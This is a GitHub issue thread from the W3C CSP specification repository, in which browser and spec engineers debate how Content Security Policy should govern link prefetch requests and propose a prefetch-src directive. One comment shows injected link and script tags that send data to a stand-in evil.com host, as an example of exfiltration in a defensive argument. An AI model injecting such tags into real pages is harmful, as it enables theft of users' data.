Specify behavior of prefetch requests

dveditz commented 8 years ago

The spec is unclear what happens with <link rel="prefetch"> resources (in browsers which support it). It's implied that they can be blocked in section 3.3 about the <meta CSP> tag:

note that resources ... fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

... but not specified by which directive. Firefox is blocking these using the fallback default-src directive. Chrome doesn't seem to block them. (1) Should these be blocked, if so (2) what's the most appropriate directive to use, and (3) should the block be reported?

Firefox's blocking of these is causing headaches for people (https://bugzilla.mozilla.org/show_bug.cgi?id=1242902). Mostly the complaint is about the reporting they can't do much about (causing at least one site to abandon using prefetch), and secondarily about having to allow these things in their default-src.

I think we should be blocking these as hinted at in the spec. I wouldn't mind not reporting them except as console warnings: prefetching is defined as optional anyway. default-src seems an OK place to put them since they could be any resource type, and that allows you to lock down specific types while having default-src be the "everything" grab-bag. Another suggestion was connect-src (where fetch lives) but I would think people might want more control on their xhr/fetch. A new directive (prefetch-src) was also proposed.

shekyan commented 8 years ago

I think using default-src to govern prefetch expands whitelist for types of resources that are not intended to be whitelisted.

At the time prefetch happens, destination of the request is unknown and response will be consumed by next navigation, where the CSP can be applied properly.

If out goal is to prevent "unknown" requests with unwanted destination to go out, e.g. prevent exfiltration, I'd say connect-src is a better alternative than default-src.

Also, I am not sure at all, but I have a feeling that Fetch specification should govern this behavior.

BTW, this spec doesn't talk much about preload requests either, but there it is less ambiguous, as per https://www.w3.org/TR/preload/#link-element-interface-extensions, there is one to one match to the request destination, so this spec should just make tighter connection between destination of the request and the corresponding directive. I created an issue to track that change.

april commented 8 years ago

I honestly hadn't realized how many prefetch directives there are! dns-prefetch, preconnect, prefetch, next, prev, prerender, and preload. I'm not sure how many of them are implemented by how many browsers, but Firefox blocks prefetch and next, in my testing.

If every other source didn't inherit from default-src, I'd be okay with using default-src. But I don't think we should overload default-src to be both "sources everything else inherits from" and "content of an unknown type".

I don't have any particularly strong opinions about whether or not it should fall under connect-src or prefetch-src, but I think that the way that Firefox (and possibly other) browsers are treating prefetches with CSP today is almost certainly not what site operators are expecting or intending.

I think that the current behavior -- that is, until we get something better specified -- should be modified such that prefetches are allowed if the origin of the prefetch is allowed via script-src or style-src (or one of those as inherited from default-src). My reasoning is that if somebody can inject a tag into <head> like so:

<link rel="next" href="https://evil.com/foo/bar/exfiltrated-data-12af23daef2">

Then they could just do the exact same thing with:

<script src="https://evil.com/foo/bar/exfiltrated-data-12af23daef2.js">

Or:

<link rel="stylesheet" href="https://evil.com/foo/bar/exfiltrated-data-12af23daef2.css" type="text/css">

(if evil.com was in script-src or style-src, because they're the two kinds of sources that are allowed inside head)

I would hazard a guess that 99% of sites that use CSP have 'self' inside either script-src or style-src. And since most prefetches are on the same-origin, this would fix the broken prefetching problem for them now, while still preventing exfiltration via prefetching to unknown origins.

annevk commented 8 years ago

@igrigorik thoughts? I thought we went over this at some point, but I can't find it.

dveditz commented 8 years ago

At the time prefetch happens, destination of the request is unknown and response will be consumed by next navigation, where the CSP can be applied properly.

In the case of rel="next" the content is prefetched because it's expected to be the next navigation. CSP doesn't (currently?) cover navigation and you can make a strong case to not block the "next" prefetches on those grounds.

Links with rel="prefetch" are often (mostly?) resources that the current page will use later. A more specific CSP rule will be applied at that later time so we're at no risk of including unwanted content in the presentation of the document. On those grounds you can make a case not to block these as well.

One possible reason to block prefetches: if a page is vulnerable to HTML injection then an injected could be used to work around the CSRF protection offered by same-site cookies. But sites are most likely to prefetch content from 'self' so this is only useful protection for sites willing to declare "I don't use prefetch". That's too much to expect from the general-purpose default-src. If this is the threat we're worried about we would need a specific prefetch-blocking directive (with or without a host list). if the site has an HTML injection problem, however, then any directive that includes 'self' can be used to get around same-site cookie CSRF protection.

You can argue exfiltration as a reason to block these (and it has come up in the Mozilla bug mentioned earlier) but that hasn't been CSP's focus, and unless we tackle navigation CSP will never prevent it.

Ultimately, this comes down to why section 3.3 mentions prefetches. If they were really intended to be blockable we need to specify in more detail how they are covered elsewhere. If they weren't then that term should be removed from section 3.3, and likely somewhere in the spec we should explicitly say prefetch requests aren't covered.

Given the current situation (Chrome doesn't block, Firefox uses default-src but causes reporting complaints) the best option going forward is either remove prefetch blocking entirely or else

introduce prefetch-src which falls back to default-src (for sites that really want to block as many ex-fil avenues as possible)
don't report prefetch blocking on the assumption that it will be reported when the content was incorporated into the page (console warnings are OK). Helps with mistakes, not actual attacks

annevk commented 8 years ago

Note that navigation is controlled to some extent through child-src and form-action.

annevk commented 8 years ago

In particular, due to CSP any navigation attempt is always visible to the user. <link rel=prefetch> would be an invisible CSP exception if we were to make it one. That seems really bad.

igrigorik commented 8 years ago

Big + 1 to everything @dveditz said above.

You can argue exfiltration as a reason to block these (and it has come up in the Mozilla bug mentioned earlier) but that hasn't been CSP's focus, and unless we tackle navigation CSP will never prevent it.

This is exactly where we arrived before and left it there. If there is now a desire from the CSP-folk to tackle this as a general case, then we should do so and include prefetch in that discussion.

In particular, due to CSP any navigation attempt is always visible to the user. would be an invisible CSP exception if we were to make it one. That seems really bad.

Are you sure that's the only exception? Navigate to a 204, prerender, etc? Coming back to the point above.. I think there is a larger discussion to be had here.

annevk commented 8 years ago

Navigating to a 204 is typically visible in some way. Prerender circumventing this would be even more problematic given it can do a whole lot more.

mikewest commented 8 years ago

Ok. Do people want a prefetch-src, or do we punt? Firefox's behavior seems like an argument for adding something along these lines.
I do think we need to tackle navigations; it's a use case that ads folks very much want, for instance. I've been avoiding it, but I think folks have convinced me that the things I was worried about (maliciously trapping users on a page) aren't all that bad or unique. Soooo....

ScottHelme commented 8 years ago

Possibly another directive? Checking in on this issue for updates 👍

igrigorik commented 8 years ago

Navigating to a 204 is typically visible in some way.

Well, you see the spinning indicator (if it hasn't already been active) but once the browser receives the 204 that disappears and the current page (the one that initiated the nav) remains as is. shrug

I'm not opposed to (1) but it feels like an incomplete solution. Would same directive also control prerender? If we tackle (2), do we still need (1)?

april commented 8 years ago

My vote is for adding prefetch-src. I really wish that we could make 'self' a source by default, but I suspect that it would be difficult to do so without adding an awkward keyword to allow you to undo it.

I do think that we should report prefetch violations; it's going to be hard to hunt things down for large sites without some kind of reporting. Along those lines, it would be super helpful if both Chrome and Firefox's dev tools were updated to display the prefetch requests. I believe they don't appear in the network console; they're just kind of invisible requests.

mikewest commented 8 years ago

Let's address navigation. Strawman for navigation-to is up at https://w3c.github.io/webappsec-csp/#directive-navigation-to.
My vague intuition is that "pre-*" requests should fall out of how they're presented to Fetch. Prerender triggers the navigation algorithm, so would be goverened by navigation-to, <link rel="prefetch"> claims a type, so would be governed as that type, etc. I'm not sure there's much value in blocking prefetch in general as a thing in itself, but I'm totally willing to hear arguments to the contrary. :)

I really wish that we could make 'self' a source by default

What do you mean?

Along those lines, it would be super helpful if both Chrome and Firefox's dev tools were updated to display the prefetch requests. I believe they don't appear in the network console; they're just kind of invisible requests.

Happily, this isn't CSP's problem. :) File bugs against Chrome and Firefox? I'm sure devtools people would be interested in discussing the suggestion.

april commented 8 years ago

What do you mean?

I suspect -- although I don't have telemetry on it -- that the vast majority of prefetches are on the same origin, by templating or forum software that has browsers prefetch the next page in the thread. These sites have had a long time with Chrome happily prefetching the next page and suddenly things will be slower if they have something like default-src 'none'.

That's already the case with Firefox + CSP, but it will be painful for at least a little while until people figure out that prefetch-src exists. My alternate proposal would be:

prefetch-src does not inherit from default-src. Instead of having a default value of *, its default value is 'self'.

This stops the ability of using prefetches for exfiltration (short of a same origin open redirect) and keeps things fast for everybody who read an article about CSP from prior to the implementation of prefetch-src and therefore implemented CSP without specifically defining it.

mikewest commented 8 years ago

prefetch-src does not inherit from default-src. Instead of having a default value of *, its default value is 'self'.

If we do this, we can't call it prefetch-src, because -src directives roll up to default-src. :)

Don't we have some sort of for="..." behavior that defines the type of the prefetched request? I'm pretty sure I've reviewed @yoavweiss's blink patches for that behavior. My vauge understanding is that in the presence of for="..." we should already be applying the "correct" policy directive, and that we're deprecating usage without for. Is that accurate?

april commented 8 years ago

If we do this, we can't call it prefetch-src, because -src directives roll up to default-src. :)

Sure, but you could just change the definition of Fetch Directives to exclude it. 😝

That said, I do see how it could be confusing. The directive could be called prefetch-for instead of prefetch-src?

yoavweiss commented 8 years ago

Don't we have some sort of for="..." behavior that defines the type of the prefetched request? I'm pretty sure I've reviewed @yoavweiss's blink patches for that behavior. My vauge understanding is that in the presence of for="..." we should already be applying the "correct" policy directive, and that we're deprecating usage without for. Is that accurate?

Not exactly. What you're describing is the as attribute for preload, which indeed maps to a specific type, governed by the appropriate CSP directive.

for prefetch, we have no idea what the destination would be, and the resource would generally be destined for the next navigation. Not knowing what the resource type is results in various icky bypasses of type checks and CSP, at least in Blink. If prefetch was a new feature, I'd argue that we need as for it as well. But since it's long shipped, and adding as would break existing content, I guess we'd have to live with the ickiness regarding type checks.

I have no strong opinion regarding which directive should be applied on prefetched resources, but I do think they need to be governed by some directive.

yoavweiss commented 8 years ago

Turns out my memory betrayed me, and we did define as for preload. However, we didn't define any processing for it :/ Spec issue: https://github.com/w3c/resource-hints/issues/66

yoavweiss commented 7 years ago

Turns out my memory betrayed me, and we did define as for preload

s/preload/prefetch/ obviously.

We're discussing its removal at https://github.com/w3c/resource-hints/issues/66

rohitcoder commented 7 years ago

Any Updates on this Guys? How can i block request of USING CSP i tried lots of things but didn't succeeded any suggestion or help?

ri0t commented 6 years ago

Seriously folks! This is a major problem as David pointed out on his blog. Please continue working for a good solution that eventually fixes these kinds of problems, if your part is affected.

If you know of similar problems, please try to collect and report them - this is apparently a class of problems with many participants all over the opensource (and proprietary) economy, we need to get rid of ASAP. Thanks for your understanding :)

mikewest commented 6 years ago

I disagree that it's a "major" problem, as I still don't believe that CSP's main focus is exfiltration prevention. We aim to prevent usage/rendering/etc. If someone has code execution on your origin, they're going to be able to leak data.

That said, I do agree that when there's a explicit request being made, CSP can and should give you the ability to block it. So, I'm leaning towards what we apparently talked about a year or two ago: prefetch-src as a new directive, cascading to default-src. That will indeed prevent prefetch from working on sites that set default-src: given that there's no visible user impact, that seems like something we can live with.

@yoavweiss, @igrigorik: Is that something y'all can live with? @dveditz, @ckerschb: Would y'all implement that in Firefox?

(Also, the discussion around navigation has already been split out into https://lists.w3.org/Archives/Public/public-webappsec/2017Dec/0000.html; feedback on @andypaicu's proposal would be helpful.)

yoavweiss commented 6 years ago

prefetch-src SGTM. That would give a way for people to opt-in to prefetch outside of the current page's CSP restrictions, while also enabling people to block prefetch if they so desire.

michaelficarra commented 6 years ago

The problem with adding new directives that fall back to default-src is that all existing websites that use default-src are automatically opted in to the behaviour of the new directive. For this particular one, you could make the argument that that might be what they would have wanted, but we should be very careful about it.

yoavweiss commented 6 years ago

Since prefetch is a non-critical request, that would not result in strict breakage (but can result in deceleration). We could gather data on the intersection between sites with CSP and ones that use prefetch to see how many would be impacted.

mikewest commented 6 years ago

@yoavweiss: Can you explain to me how prefetch interacts with Fetch? That is, what do I need to write down in the spec in order to make the existing hooks cover those requests? What initiator and/or destination should I be looking for? (/cc @annevk)

mikewest commented 6 years ago

@michaelficarra: Note that Firefox is already enforcing default-src on this mechanism. Any missed prefetches would already be missed in some substantial portion of any given site's audience. The risk of actual breakage seems minimal.

yoavweiss commented 6 years ago

@mikewest it's currently not defined. IMO, we need to define a separate destination (https://github.com/whatwg/fetch/issues/658), and then use it in both Resource-Hints and CSP.

Also, good point regarding breakage. Also also, for the hypothetical sites that do use both CSP and prefetch, they'd soon get many reports of prefetch being blocked, so presumably fix their policy to include it.

april commented 6 years ago

I could probably get some telemetry on the Alexa Top 1k/10k/100k or whatever, if people would like. It would only be for / so obviously not as good as browser telemetry, but could probably be gathered a lot quicker.

And while I agree that protecting against data exfiltration in the face of an RCE is likely a Sisyphean task, I do think it should be able to protect against it in cases of HTML injection (which could be used to steal CSRF tokens). We already do it for form-action, after all.

ScottHelme commented 6 years ago

Good idea @april, I have my daily top 1 million crawl that I can add a test to if required.

paulcalvano commented 6 years ago

Here's a query that will check for CSP and Prefetch via HTTP Archive. Note that this processes 960GB of data, so if you attempt to run it it will use the BigQuery monthly free tier allotment on a single run.

SELECT distinct url 
FROM `httparchive.har.2017_12_15_chrome_requests` 
WHERE LOWER(payload) LIKE "%content-security-policy%"
      AND url IN (
          SELECT url 
          FROM `httparchive.har.2017_12_15_chrome_requests_bodies` 
          WHERE REGEXP_CONTAINS(lower(body), r"<link\s+rel=('|\")?prefetch")
      )

The query checks for the presence of content-security-policy in the HAR file (which will include all the response headers), and then performs a Regex match on the response bodies for <link rel=prefetch (allowing for spaces, quotes and double quotes).

The output from this query was just 47 URLs, which are using both CSP and Prefetch. The number seems low. Shared the SQL above in case I missed something...


https://plus.google.com/
https://www.paypal.com/br/webapps/mpp/home
https://join.mastered.com/2018/accelerators/creatives/makeup
http://www.directnic.com/
https://www.atb.no/billetter/
https://www.atb.no/skoleskyss/
https://join.mastered.com/impact
https://directnic.com/search
https://www.atb.no/reise/
https://www.atb.no/driftsavvik/
http://www.crugroup.com/
https://www.orduh.com/twitter-search-tips-tricks/
https://join.mastered.com/2018/accelerators/creatives/nails
https://www.saotn.org/determine-net-framework-versions-installed/
http://www.dnchosting.com/
https://www.adzuna.com.au/project-manager
http://m.nanhutravel.com/
https://join.mastered.com/2018/accelerators/creatives/fashion-styling
https://join.mastered.com/2018/accelerators/brands/childrenswear
https://join.mastered.com/2018/accelerators/brands/accessories
https://join.mastered.com/news
https://join.mastered.com/2018/accelerators/brands/jewellery
https://m.nanhutravel.com/search/
https://join.mastered.com/experts
https://join.mastered.com/2018/accelerators/creatives/art-direction
https://www.adzuna.co.uk/jobs/glasgow
https://www.atb.no/
https://join.mastered.com/2018/accelerators/creatives/photography
https://www.atb.no/reisegaranti/
https://join.mastered.com/2018/accelerators/creatives/hair
http://www.adndelseguro.com/
https://www.atb.no/rutetabeller/
https://join.mastered.com/2018/accelerators/brands/womenswear
http://publicresultbd.com/psc-scholarship-result-download-www-dpe-gov-bd/
https://www.adzuna.co.uk/jobs/retail-jobs
https://www.paypal.com/
http://www.evite.com/
https://www.lensway.se/js/1Q8037481Qscripts-all.min.js
https://www.adzuna.com.au/tasmania
https://www.atb.no/priser/
http://www.prevencionintegral.com/
https://www.adzuna.com.au/it-jobs
https://join.mastered.com/2018/accelerators/brands/menswear
https://www.atb.no/kundeservice/
https://elcofredeldinero.com/bitcoin-cash/
https://join.mastered.com/2018/accelerators/creatives/set-design
https://www.atb.no/kontakt-oss/

igrigorik commented 6 years ago

@yoavweiss: prefetch-src SGTM. That would give a way for people to opt-in to prefetch outside of the current page's CSP restrictions, while also enabling people to block prefetch if they so desire.

+1. As others have already mentioned, prefetch is a speculative directive that UA may chose to respect, as such "breakage" is a bit of a misnomer. Initializing to default-src is a good strategy.

yoavweiss commented 6 years ago

@paulcalvano Huge thanks for running this! :)

Looking at the list, it has 19 unique domains which will be affected by this change:

directnic.com
elcofredeldinero.com
join.mastered.com
m.nanhutravel.com
plus.google.com
publicresultbd.com
www.adndelseguro.com
www.adzuna.co.uk
www.adzuna.com.au
www.atb.no
www.crugroup.com
www.directnic.com
www.dnchosting.com
www.evite.com
www.lensway.se
www.orduh.com
www.paypal.com
www.prevencionintegral.com
www.saotn.org

Since this is not breakage, but mere deceleration, that doesn't seem problematic. We could also try to reach out to them to warn them of this upcoming change.

eligrey commented 6 years ago

@paulcalvano r"<link\s+[^>]*?rel=('|\")?prefetch" might catch more usage instances, in case some sites put rel="preload" after href="..."

paulcalvano commented 6 years ago

Thanks @eligrey . I just ran it with the updated regex. There were 50 results, which included all of the ones I listed above plus the following 3 sites:

http://www.accuwebhosting.com/
http://www.streamago.com/
https://forbiddenplanet.com/all/

w3c / webappsec-csp

Specify behavior of prefetch requests #107